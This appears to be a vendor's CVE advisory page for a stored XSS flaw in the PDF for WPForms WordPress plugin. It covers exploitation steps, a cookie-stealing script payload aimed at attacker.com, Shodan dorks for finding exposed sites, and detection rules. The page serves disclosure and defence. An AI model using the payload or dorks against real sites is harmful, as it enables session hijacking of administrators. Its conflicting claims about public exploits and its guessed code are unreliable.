☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Add-ons.org logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58620

CVE-2025-58620 Cross-Site Scripting in Add-ons.org
📅 PUBLISHED: 2025-09-03 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58620 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PDF for WPForms by Add-ons.org, affecting versions up to and including 6.2.1. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then stored on the server and executed in the browsers of other users. The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. As of this report, no official patch is available, and no public exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from Add-ons.org and consider disabling the plugin until a patch is released. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
  • User Interaction (UI): Required (R) – The victim must visit a page containing the malicious payload.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The lack of a patch and the potential for stored XSS make this a significant risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the PDF generation functionality of the PDF for WPForms plugin. The plugin fails to properly sanitize user-supplied input before embedding it into generated PDF pages. An attacker can submit a form with malicious JavaScript code in a text field. When the plugin generates a PDF containing that input, the script is stored in the PDF file. When an administrator or other user views the PDF in a browser that renders HTML/JavaScript, the script executes.

The core issue is improper neutralization of input during web page generation (CWE-79). The plugin likely uses a library that renders PDFs as HTML, and the input is not escaped or encoded before being placed into the HTML context.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// In pdf-for-wpforms.php or similar
function generate_pdf($form_data) {
    $user_input = $form_data['field_value'];
    $pdf_content = "<html><body><p>$user_input</p></body></html>";
    // ... generate PDF from $pdf_content
}

Patched Code (Expected):

function generate_pdf($form_data) {
    $user_input = htmlspecialchars($form_data['field_value'], ENT_QUOTES, 'UTF-8');
    $pdf_content = "<html><body><p>$user_input</p></body></html>";
    // ... generate PDF from $pdf_content
}

The patch would involve using htmlspecialchars() or similar escaping functions to neutralize any HTML/JavaScript before embedding user input into the PDF.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with PDF for WPForms <= 6.2.1 installed and active.
  • A form that includes a text field (e.g., "Name" or "Message").
  • The ability to submit the form as an unauthenticated user.

Exploitation Steps:

  1. Identify a form that uses the PDF for WPForms plugin to generate PDFs.
  2. Submit the form with a payload in a text field, such as:
    <script>alert('XSS')</script>
    
  3. The plugin generates a PDF containing the payload.
  4. An administrator or other user views the generated PDF in a browser that supports HTML rendering (e.g., Chrome, Firefox).
  5. The script executes in the context of the WordPress admin panel, potentially stealing cookies or performing actions on behalf of the admin.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor for unusual form submissions containing HTML tags or JavaScript.
  • Check PDF files generated by the plugin for embedded scripts.
  • Use web application firewalls (WAF) to block common XSS payloads.

Hunting:

  • Search for PDF files in the WordPress uploads directory that contain <script> tags.
  • Review server logs for requests to PDF generation endpoints with suspicious parameters.

Mitigation:

  • Disable the plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use input validation to reject form submissions containing HTML tags.

Indicators of Compromise (IOCs)

  • File: PDF files in /wp-content/uploads/pdf-for-wpforms/ containing <script> tags.
  • Log Entry: HTTP requests to /wp-admin/admin-ajax.php with action pdf_for_wpforms_generate and suspicious form_data parameters.
  • Network: Outbound connections to attacker-controlled domains from the WordPress server.
  • Cookie: Unusual cookie values or missing HttpOnly flags on session cookies.

Detection Engineering

YARA Rule

rule CVE_2025_58620_PDF_XSS {
    meta:
        description = "Detects PDF files generated by PDF for WPForms containing potential XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58620"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
        $pdf_header = "%PDF-1."
    condition:
        $pdf_header at 0 and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: Suspicious PDF Generation with XSS Payload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects form submissions to PDF for WPForms containing HTML/JavaScript payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=pdf_for_wpforms_generate'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58620 PDF for WPForms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pdf_for_wpforms_generate"; http_client_body; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the PDF for WPForms plugin until a patch is released.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in form fields.
  3. Long-term: Apply the official patch from Add-ons.org as soon as it becomes available. Consider using alternative PDF generation plugins that are actively maintained.
  4. Compensating Controls: Enforce Content Security Policy (CSP) headers to prevent inline script execution. Use HttpOnly and Secure flags on session cookies.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PDF for WPForms"
http.html:"pdf-for-wpforms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58620/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.